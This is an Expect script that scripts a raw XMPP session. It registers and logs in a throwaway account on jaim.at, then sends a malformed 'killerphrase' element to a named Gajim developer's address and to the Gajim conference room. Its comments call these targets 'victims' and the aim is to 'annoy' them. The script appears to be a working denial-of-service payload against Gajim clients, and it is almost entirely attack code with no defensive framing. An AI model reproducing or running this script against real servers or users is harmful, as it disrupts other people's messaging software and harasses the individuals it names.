#!/usr/bin/expect

## This program is free software. It comes without any warranty, to
## the extent permitted by applicable law. You can redistribute it
## and/or modify it under the terms of the Do What The Fuck You Want
## To Public License, Version 2, as published by Sam Hocevar. See
## http://sam.zoy.org/wtfpl/COPYING for more details.

## define variables
set server jaim.at
set port 5222
set username gajim-quitter
set password test
set resource telnet
set killerphrase <gajim:sucks/>

## take aim on gajim lead dev
set victim asterix@jabber.lagaule.org

## take aim on gajim groupchat
set victimgroup gajim@conference.gajim.org

## open telnet session
spawn telnet $server $port

## start XML stream
send "<stream:stream to='jaim.at' xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams'>\n"
expect "stream:stream"

## find out how to register
send "<iq id='A0' type='get'><query xmlns='jabber:iq:register'/></iq>\n"
expect "result"

## register
send "<iq id='A1' type='set'><query xmlns='jabber:iq:register'><username>$username</username><password>$password</password><name>myName</name><email>email@domain.com</email></query></iq>\n"
expect "result"

## find out how to login
send "<iq id='A2' type='get'><query xmlns='jabber:iq:auth'><username>$username</username></query></iq>\n"
expect "result"

## login
send "<iq id='A3' type='set'><query xmlns='jabber:iq:auth'><username>$username</username><resource>$resource</resource><password>$password</password></query></iq>\n"
expect "result"

## annoy one guy
send "<presence/>\n"
expect "get"
send "<message to='$victim' type='chat'>$killerphrase</message>\n"

## annoy the whole room
send "<presence to='$victimgroup/$username'><x xmlns='http://jabber.org/protocol/muc'/></presence>\n"
send "<message to='$victimgroup' type='groupchat'>$killerphrase</message>\n"

# drop off
send "</stream:stream>\n"